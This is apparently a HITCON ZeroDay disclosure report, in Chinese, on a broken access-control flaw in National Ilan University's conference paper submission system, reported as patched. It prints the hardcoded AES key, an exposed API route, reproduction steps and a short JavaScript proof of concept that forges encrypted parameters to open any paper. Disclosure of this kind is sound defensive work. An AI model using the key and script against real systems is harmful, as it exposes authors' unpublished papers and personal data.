國立宜蘭大學 投稿系統前端加密授權繞過導致論文資料未授權存取 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-01331
  •  發信 Vendor: 國立宜蘭大學
  • Title: 國立宜蘭大學 投稿系統前端加密授權繞過導致論文資料未授權存取
  • Introduction: 系統於客戶端實作存取控制機制,攻擊者可透過逆向工程繞過授權檢查,導致所有投稿論文及作者個人識別資訊遭未授權存取

處理狀態

目前狀態

公開
Last Update : 2025/11/04
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2025/10/08 23:22:52 : 新提交 (由 CHIEN 更新此狀態)
  • 2025/10/12 12:01:43 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/10/17 13:41:18 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/10/17 13:41:18 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/10/17 13:41:18 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/10/27 17:21:58 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/11/04 03:00:52 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-01331
  • 通報者:qian (CHIEN)
  • 風險:高
  • 類型:存取控制缺陷 (Broken Access Control)

參考資料

攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://tanet2025js.niu.edu.tw/Mang/viewpaper/:encryptedParams

敘述

系統在 /Mang/viewpaper/:encryptedParams 路由使用前端 AES 加密作為授權機制,存在以下問題:

  1. 加密金鑰硬編碼於前端:TanetJS2024SecureKey!@#$%^&*() 可直接從前端取得
  2. 授權檢查在客戶端執行:後端未驗證使用者是否有權限存取論文
  3. API 可被任意存取:API /API/Mang/GetPaperListByType 列出所有論文以及其 ID 相關資訊可被任意存取

重現步驟

攻擊者只需:

  1. 取得任意論文的 ID 參數 pkno, userId, paperId(從 API 中取得)
  2. 使用前端暴露的金鑰重新加密參數
  3. 存取、下載任意論文

驗證程式碼

const script = document.createElement('script');
script.src = 'https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.2.0/crypto-js.min.js';
script.onload = () => {
  const params = { pkno: 5, userId: 26, paperId: 'N0004' };
  const encrypted = CryptoJS.AES.encrypt(
    JSON.stringify(params),
    'TanetJS2024SecureKey!@#$%^&*()'
  ).toString();
  location.href = '/Mang/viewpaper/' + encodeURIComponent(encrypted);
};
document.head.appendChild(script);

圖片
圖片

修補建議

1. 移除前端授權機制 - 刪除客戶端加密邏輯,改用後端 Session/JWT

2. 後端驗證權限 - 每次存取論文時檢查使用者權限

3. 使用安全 Token - 伺服器端產生有時效性的授權 Token

4. 限制 API 請求權限

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;